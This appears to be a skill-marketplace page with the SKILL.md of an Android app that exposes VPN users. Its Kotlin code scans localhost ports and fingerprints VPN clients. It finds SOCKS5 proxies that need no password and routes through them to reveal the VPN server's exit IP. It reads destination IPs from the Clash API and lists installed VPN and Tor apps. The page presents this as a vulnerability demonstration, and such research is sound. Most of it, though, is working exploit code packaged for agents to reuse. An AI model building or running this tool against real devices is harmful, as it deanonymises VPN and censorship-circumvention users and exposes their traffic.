yourvpndead-vpn-detection

Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root

22 stars

Best use case

yourvpndead-vpn-detection is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root

Teams using yourvpndead-vpn-detection should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/yourvpndead-vpn-detection/SKILL.md --create-dirs "https://raw.githubusercontent.com/Aradotso/trending-skills/main/skills/yourvpndead-vpn-detection/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/yourvpndead-vpn-detection/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How yourvpndead-vpn-detection Compares

Feature / Agentyourvpndead-vpn-detectionStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# YourVPNDead — Android VPN Detection & SOCKS5 Vulnerability Scanner

> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.

Android app (Kotlin + Jetpack Compose) demonstrating that any app — without root or special permissions — can detect VPN usage, identify the VPN client, and retrieve the VPN server's exit IP through unauthenticated SOCKS5 proxies exposed on localhost by popular VPN clients (v2rayNG, NekoBox, Hiddify, etc.).

## Build & Install

```bash
git clone https://github.com/loop-uh/yourvpndead.git
cd yourvpndead
./gradlew assembleDebug
# Output: app/build/outputs/apk/debug/app-debug.apk
adb install app/build/outputs/apk/debug/app-debug.apk
```

Or download the pre-built APK from [Releases](https://github.com/loop-uh/yourvpndead/releases).

**Required permissions** (`AndroidManifest.xml`):
```xml
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
```

## Architecture

```
ScanOrchestrator (14 phases)
├── ProfileDetector          — work profile, isolation, VPN status
├── ProcNetScanner           — /proc/net/tcp fingerprinting
├── DirectSignsChecker       — 6 direct VPN checks
├── IndirectSignsChecker     — 5 indirect checks (MTU, DNS, dumpsys)
├── DeviceInfoCollector      — device fingerprint
├── PortScanner              — TCP scan IPv4 + IPv6 localhost
├── Socks5Probe              — proxy type identification
├── XrayAPIDetector          — xray gRPC API detection
├── ClashAPIProbe            — Clash REST API probe
├── AuthProbe                — auth analysis + brute-force demo
├── ExitIPResolver           — exit IP via SOCKS5
└── GeoLocator               — IP geolocation
```

**Stack**: Kotlin, Jetpack Compose, Material 3, Coroutines, MVVM (ViewModel + StateFlow)

## Key Detection Modules

### 1. Direct VPN Signs — `DirectSignsChecker.kt`

Detects VPN via standard (and hidden) Android APIs:

```kotlin
// Check TRANSPORT_VPN capability
val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
val network = connectivityManager.activeNetwork
val caps = connectivityManager.getNetworkCapabilities(network)

val hasVpnTransport = caps?.hasTransport(NetworkCapabilities.TRANSPORT_VPN) == true

// Check hidden IS_VPN flag (not in public API)
val capsString = caps?.toString() ?: ""
val hasIsVpn = capsString.contains("IS_VPN")
val hasVpnTransportInfo = capsString.contains("VpnTransportInfo")

// Check system proxy properties
val httpProxyHost = System.getProperty("http.proxyHost")
val socksProxyHost = System.getProperty("socksProxyHost")

// Check NOT_VPN capability absence (inverse detection)
val notVpnCapability = caps?.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN) == true
// If false → network IS a VPN
```

### 2. VPN Interface Detection

```kotlin
import java.net.NetworkInterface

fun detectVpnInterfaces(): List<String> {
    val vpnPatterns = listOf(
        Regex("^tun\\d+$"),
        Regex("^tap\\d+$"),
        Regex("^wg\\d+$"),
        Regex("^ppp\\d+$"),
        Regex("^ipsec.*$")
    )
    return NetworkInterface.getNetworkInterfaces()
        .toList()
        .filter { iface -> vpnPatterns.any { it.matches(iface.name) } }
        .map { it.name }
}

// Check MTU anomaly (VPN lowers MTU due to encapsulation overhead)
fun checkMtuAnomaly(): Boolean {
    return NetworkInterface.getNetworkInterfaces()
        .toList()
        .filter { it.isUp && !it.isLoopback }
        .any { it.mtu in 1..1499 } // Standard Ethernet = 1500
}
// WireGuard: ~1420, OpenVPN: ~1400, VLESS/xray: ~1380-1400
```

### 3. /proc/net/tcp Scanner — `ProcNetScanner.kt`

Reads listening ports without root:

```kotlin
fun scanProcNetTcp(): List<Int> {
    val openPorts = mutableListOf<Int>()
    listOf("/proc/net/tcp", "/proc/net/tcp6").forEach { path ->
        try {
            File(path).forEachLine { line ->
                val parts = line.trim().split("\\s+".toRegex())
                if (parts.size >= 4) {
                    val state = parts[3]
                    if (state == "0A") { // 0A = LISTEN
                        val localAddress = parts[1]
                        val portHex = localAddress.split(":").lastOrNull()
                        portHex?.toIntOrNull(16)?.let { openPorts.add(it) }
                    }
                }
            }
        } catch (e: Exception) { /* May be restricted on newer Android */ }
    }
    return openPorts
}

// Fingerprint VPN client by port pattern
fun fingerprintClient(ports: List<Int>): String {
    return when {
        10808 in ports && 10809 in ports && 19085 in ports -> "v2rayNG / xray"
        2080 in ports -> "NekoBox / sing-box"
        7890 in ports && 7891 in ports && 9090 in ports -> "Clash / mihomo"
        3066 in ports && 3067 in ports -> "Karing"
        19090 in ports -> "sing-box (Clash API — IP leak via /connections!)"
        else -> "Unknown"
    }
}
```

### 4. Port Scanner — `PortScanner.kt`

TCP connect scan on 127.0.0.1 and ::1:

```kotlin
import kotlinx.coroutines.*
import java.net.InetSocketAddress
import java.net.Socket

suspend fun scanKnownPorts(
    timeout: Int = 300,
    parallelism: Int = 32
): List<Int> = coroutineScope {
    val knownVpnPorts = listOf(
        // xray / v2rayNG
        10808, 10809, 10810, 10085, 19085,
        // sing-box / NekoBox
        2080, 2081, 3066, 3067,
        // Clash / mihomo
        7890, 7891, 7892, 7893, 9090, 19090,
        // Common proxy
        1080, 8080, 8118, 9050, 3128,
        // Yandex.Metrica tracking
        29009, 29010, 30102, 30103,
        // Meta Pixel
        12387, 12388, 12389
    )

    val semaphore = kotlinx.coroutines.sync.Semaphore(parallelism)
    knownVpnPorts.map { port ->
        async(Dispatchers.IO) {
            semaphore.withPermit {
                try {
                    Socket().use { socket ->
                        socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
                        port // Return port if connected
                    }
                } catch (e: Exception) { null }
            }
        }
    }.awaitAll().filterNotNull()
}

// Full scan 1-65535
suspend fun fullPortScan(timeout: Int = 200): List<Int> = coroutineScope {
    val semaphore = kotlinx.coroutines.sync.Semaphore(32)
    (1..65535).map { port ->
        async(Dispatchers.IO) {
            semaphore.withPermit {
                try {
                    Socket().use { socket ->
                        socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
                        port
                    }
                } catch (e: Exception) { null }
            }
        }
    }.awaitAll().filterNotNull()
}
```

### 5. SOCKS5 Probe — `Socks5Probe.kt`

Identify proxy type and check for authentication:

```kotlin
import java.io.InputStream
import java.io.OutputStream
import java.net.Socket

enum class ProxyType { SOCKS5_NO_AUTH, SOCKS5_AUTH_REQUIRED, HTTP_CONNECT, GRPC, UNKNOWN }

fun probePort(port: Int, timeoutMs: Int = 2000): ProxyType {
    return try {
        Socket().use { socket ->
            socket.connect(InetSocketAddress("127.0.0.1", port), timeoutMs)
            socket.soTimeout = timeoutMs
            val out: OutputStream = socket.getOutputStream()
            val inp: InputStream = socket.getInputStream()

            // SOCKS5 handshake: VER=5, NMETHODS=1, METHOD=NO_AUTH(0x00)
            out.write(byteArrayOf(0x05, 0x01, 0x00))
            out.flush()

            val response = ByteArray(2)
            inp.read(response)

            when {
                response[0] == 0x05.toByte() && response[1] == 0x00.toByte() ->
                    ProxyType.SOCKS5_NO_AUTH         // Vulnerable!
                response[0] == 0x05.toByte() && response[1] == 0x02.toByte() ->
                    ProxyType.SOCKS5_AUTH_REQUIRED   // Protected
                else -> ProxyType.UNKNOWN
            }
        }
    } catch (e: Exception) { ProxyType.UNKNOWN }
}

// HTTP CONNECT probe
fun probeHttpConnect(port: Int): Boolean {
    return try {
        Socket().use { socket ->
            socket.connect(InetSocketAddress("127.0.0.1", port), 2000)
            val out = socket.getOutputStream()
            out.write("CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n".toByteArray())
            out.flush()
            val response = socket.getInputStream().bufferedReader().readLine() ?: ""
            response.contains("200") || response.contains("407") || response.startsWith("HTTP")
        }
    } catch (e: Exception) { false }
}
```

### 6. Exit IP Resolution via SOCKS5 — `ExitIPResolver.kt`

Get VPN server's real IP through unauthenticated SOCKS5:

```kotlin
import java.net.InetAddress
import java.net.Socket

fun resolveExitIpViaSocks5(
    socksPort: Int,
    targetHost: String = "api.ipify.org",
    targetPort: Int = 80
): String? {
    return try {
        Socket().use { socket ->
            socket.connect(InetSocketAddress("127.0.0.1", socksPort), 3000)
            socket.soTimeout = 5000
            val out = socket.getOutputStream()
            val inp = socket.getInputStream()

            // SOCKS5 handshake
            out.write(byteArrayOf(0x05, 0x01, 0x00)); out.flush()
            val auth = ByteArray(2); inp.read(auth)
            if (auth[1] != 0x00.toByte()) return null // Auth required

            // CONNECT request (ATYP=0x03 domain name)
            val hostBytes = targetHost.toByteArray()
            val request = byteArrayOf(
                0x05,                    // VER
                0x01,                    // CMD = CONNECT
                0x00,                    // RSV
                0x03,                    // ATYP = domain
                hostBytes.size.toByte()  // domain length
            ) + hostBytes + byteArrayOf(
                (targetPort shr 8).toByte(),
                (targetPort and 0xFF).toByte()
            )
            out.write(request); out.flush()

            // Read response (10 bytes for IPv4)
            val resp = ByteArray(10); inp.read(resp)
            if (resp[1] != 0x00.toByte()) return null // Connection failed

            // HTTP GET to ipify
            out.write("GET / HTTP/1.1\r\nHost: $targetHost\r\nConnection: close\r\n\r\n".toByteArray())
            out.flush()

            val response = inp.bufferedReader().readText()
            // Response body is the exit IP
            response.lines().last { it.matches(Regex("\\d+\\.\\d+\\.\\d+\\.\\d+")) }
        }
    } catch (e: Exception) { null }
}
```

### 7. Clash REST API Probe — `ClashAPIProbe.kt`

sing-box/mihomo expose Clash API on localhost without auth by default:

```kotlin
import java.net.HttpURLConnection
import java.net.URL
import org.json.JSONObject

data class ClashApiResult(
    val isOpen: Boolean,
    val connections: List<String> = emptyList(), // Contains destination IPs!
    val proxies: List<String> = emptyList(),
    val externalController: String? = null
)

fun probeClashApi(port: Int = 9090, timeoutMs: Int = 3000): ClashApiResult {
    val baseUrl = "http://127.0.0.1:$port"
    return try {
        // Check /configs for external-controller info
        val configUrl = URL("$baseUrl/configs")
        val configConn = configUrl.openConnection() as HttpURLConnection
        configConn.connectTimeout = timeoutMs
        configConn.readTimeout = timeoutMs

        if (configConn.responseCode != 200) return ClashApiResult(false)

        val config = JSONObject(configConn.inputStream.bufferedReader().readText())

        // GET /connections — reveals ALL active connection destination IPs
        val connUrl = URL("$baseUrl/connections")
        val connConn = connUrl.openConnection() as HttpURLConnection
        connConn.connectTimeout = timeoutMs
        val connData = JSONObject(connConn.inputStream.bufferedReader().readText())

        val destinationIps = mutableListOf<String>()
        val connections = connData.optJSONArray("connections")
        if (connections != null) {
            for (i in 0 until connections.length()) {
                val conn = connections.getJSONObject(i)
                conn.optJSONObject("metadata")?.optString("destinationIP")
                    ?.takeIf { it.isNotEmpty() }
                    ?.let { destinationIps.add(it) }
            }
        }

        ClashApiResult(
            isOpen = true,
            connections = destinationIps,
            externalController = config.optString("external-controller")
        )
    } catch (e: Exception) { ClashApiResult(false) }
}

// Ports to check for Clash API
val clashApiPorts = listOf(9090, 19090, 8080, 9091, 8090)
```

### 8. VPN App Detection — `DirectSignsChecker.kt`

Enumerate installed VPN apps (requires QUERY_ALL_PACKAGES on Android 11+):

```kotlin
val vpnPackages = mapOf(
    "com.v2ray.ang" to "v2rayNG",
    "io.nekohasekai.sfa" to "sing-box (SFA)",
    "app.hiddify.com" to "Hiddify",
    "com.github.shadowsocks" to "Shadowsocks",
    "com.matsuridayo.matsuri" to "NekoBox",
    "io.nekohasekai.sagernet" to "NekoBox/SagerNet",
    "com.clashforwindows.clash" to "ClashMeta",
    "com.byedpi" to "ByeDPI",
    "org.outline.android.client" to "Outline",
    "com.psiphon3" to "Psiphon",
    "us.lantern.lantern" to "Lantern",
    "com.wireguard.android" to "WireGuard",
    "org.torproject.torbrowser" to "Tor Browser",
    "org.torproject.android" to "Orbot",
    "com.karing.app" to "Karing",
    "com.throne.android" to "Throne",
    "com.happ.free.vpn.proxy" to "HAPP"
)

fun detectInstalledVpnApps(context: Context): List<String> {
    val pm = context.packageManager
    return vpnPackages.entries.mapNotNull { (pkg, name) ->
        try {
            pm.getPackageInfo(pkg, 0)
            name // App is installed
        } catch (e: PackageManager.NameNotFoundException) { null }
    }
}
```

### 9. Routing Table Check

```kotlin
fun checkDefaultRoute(): String? {
    return try {
        File("/proc/net/route").readLines()
            .drop(1) // Skip header
            .firstOrNull { line ->
                val parts = line.split("\t")
                parts.size >= 2 && parts[1] == "00000000" // Default route (0.0.0.0)
            }
            ?.split("\t")
            ?.firstOrNull() // Interface name (e.g., "tun0" = VPN)
    } catch (e: Exception) { null }
}
```

## MVVM Pattern — ViewModel + StateFlow

```kotlin
// ScanViewModel.kt
class ScanViewModel(application: Application) : AndroidViewModel(application) {
    private val _scanState = MutableStateFlow<ScanState>(ScanState.Idle)
    val scanState: StateFlow<ScanState> = _scanState.asStateFlow()

    fun startScan(fullScan: Boolean = false) {
        viewModelScope.launch {
            _scanState.value = ScanState.Running(phase = "Initializing...")
            val orchestrator = ScanOrchestrator(getApplication())
            orchestrator.run(
                fullPortScan = fullScan,
                onPhaseUpdate = { phase -> _scanState.value = ScanState.Running(phase) }
            ).collect { result ->
                _scanState.value = ScanState.Complete(result)
            }
        }
    }
}

// ScanState.kt
sealed class ScanState {
    object Idle : ScanState()
    data class Running(val phase: String) : ScanState()
    data class Complete(val result: ScanResult) : ScanState()
}
```

## Composable UI Pattern

```kotlin
@Composable
fun ScanScreen(viewModel: ScanViewModel = viewModel()) {
    val state by viewModel.scanState.collectAsState()

    Column(modifier = Modifier.fillMaxSize().padding(16.dp)) {
        when (val s = state) {
            is ScanState.Idle -> Button(onClick = { viewModel.startScan() }) {
                Text("Start VPN Scan")
            }
            is ScanState.Running -> {
                CircularProgressIndicator()
                Text("Phase: ${s.phase}")
            }
            is ScanState.Complete -> ScanResultView(result = s.result)
        }
    }
}
```

## Vulnerable Client Reference

| Client | Core | Default SOCKS Port | Auth | Status |
|--------|------|--------------------|------|--------|
| v2rayNG | xray | 10808 | None | **Vulnerable** |
| NekoBox | sing-box | 2080 | None | **Vulnerable** |
| Hiddify | sing-box/xray | varies | None | **Vulnerable** |
| Happ | xray | varies | None + open gRPC API | **Critical** |
| Karing | sing-box | 3067 | None | **Vulnerable** |
| Husi | sing-box | — | Yes | Protected |

## Known Port Constants

```kotlin
object VpnPorts {
    // xray / v2rayNG
    val XRAY_SOCKS = 10808
    val XRAY_HTTP = 10809
    val XRAY_STATS = 19085
    val XRAY_GRPC_API = listOf(10085, 19085, 23456, 8001, 62789)

    // sing-box / NekoBox
    val SINGBOX_MIXED = 2080
    val SINGBOX_HTTP = 2081
    val KARING_SOCKS = 3067
    val KARING_HTTP = 3066

    // Clash / mihomo
    val CLASH_HTTP = 7890
    val CLASH_SOCKS = 7891
    val CLASH_REDIR = 7892
    val CLASH_API = 9090
    val SINGBOX_CLASH_API = 19090  // Leaks connection IPs via /connections

    // Common
    val TOR_SOCKS = 9050
    val PRIVOXY = 8118
}
```

## Troubleshooting

**`/proc/net/tcp` returns empty or permission denied**
- Restricted on Android 10+ for non-root apps on some ROMs (Samsung Knox, MIUI)
- Fallback: use TCP connect scan via `PortScanner` instead

**Port scan misses ports**
- Increase `timeout` from 300ms to 500ms for slower devices
- Reduce `parallelism` to 16 if getting connection reset errors

**QUERY_ALL_PACKAGES denied**
- Required for VPN app enumeration on Android 11+
- Must be declared in manifest; some app stores may restrict it
- Fallback: check only packages via `Intent` resolution

**SOCKS5 probe connects but returns unexpected bytes**
- Some clients send HTTP 400 response instead of SOCKS5 rejection
- Add HTTP CONNECT fallback probe after SOCKS5 attempt

**Exit IP resolution returns null despite open SOCKS5**
- Target `api.ipify.org` may be blocked by the VPN itself
- Try alternative: `ifconfig.me`, `checkip.amazonaws.com`
- Some clients block loopback-originated connections to external hosts

**Clash API returns 401**
- Client has set `secret` in config — not the default behavior but possible
- Check port 19090 (sing-box uses different default than mihomo's 9090)

Related Skills

```markdown

22
from Aradotso/trending-skills

---

zeroboot-vm-sandbox

22
from Aradotso/trending-skills

Sub-millisecond VM sandboxes for AI agents using copy-on-write KVM forking via Zeroboot

xata-postgres-platform

22
from Aradotso/trending-skills

Expert skill for Xata open-source cloud-native Postgres platform with copy-on-write branching, scale-to-zero, and Kubernetes deployment

x-mentor-skill-nuwa

22
from Aradotso/trending-skills

AI-powered X (Twitter) content strategy skill that distills methodologies from 6 top creators + open-source algorithm data into actionable writing, growth, and monetization guidance.

wx-favorites-report

22
from Aradotso/trending-skills

End-to-end pipeline to extract, decrypt, and visualize WeChat Mac favorites from encrypted SQLite DB into an interactive HTML report.

wterm-web-terminal

22
from Aradotso/trending-skills

Web terminal emulator with Zig/WASM core, DOM rendering, and React/vanilla JS bindings

worldmonitor-intelligence-dashboard

22
from Aradotso/trending-skills

Real-time global intelligence dashboard with AI-powered news aggregation, geopolitical monitoring, and infrastructure tracking

witr-process-inspector

22
from Aradotso/trending-skills

CLI and TUI tool that explains why processes, services, and ports are running by tracing causality chains across supervisors, containers, and shells.

wildworld-dataset

22
from Aradotso/trending-skills

WildWorld large-scale action-conditioned world modeling dataset with 108M+ frames from a photorealistic ARPG game, featuring per-frame annotations, 450+ actions, and explicit state information for generative world modeling research.

whatcable-macos-usb-inspector

22
from Aradotso/trending-skills

macOS menu bar app that identifies USB-C cable capabilities and charging diagnostics using IOKit

wewrite-wechat-ai-publishing

22
from Aradotso/trending-skills

Full-pipeline AI skill for WeChat Official Account articles — hotspot fetching, topic selection, writing, SEO, image generation, formatting, and draft box publishing.

weixin-agent-sdk

22
from Aradotso/trending-skills

Bridge any AI agent backend to WeChat using the weixin-agent-sdk framework with simple Agent interface, login, and message loop.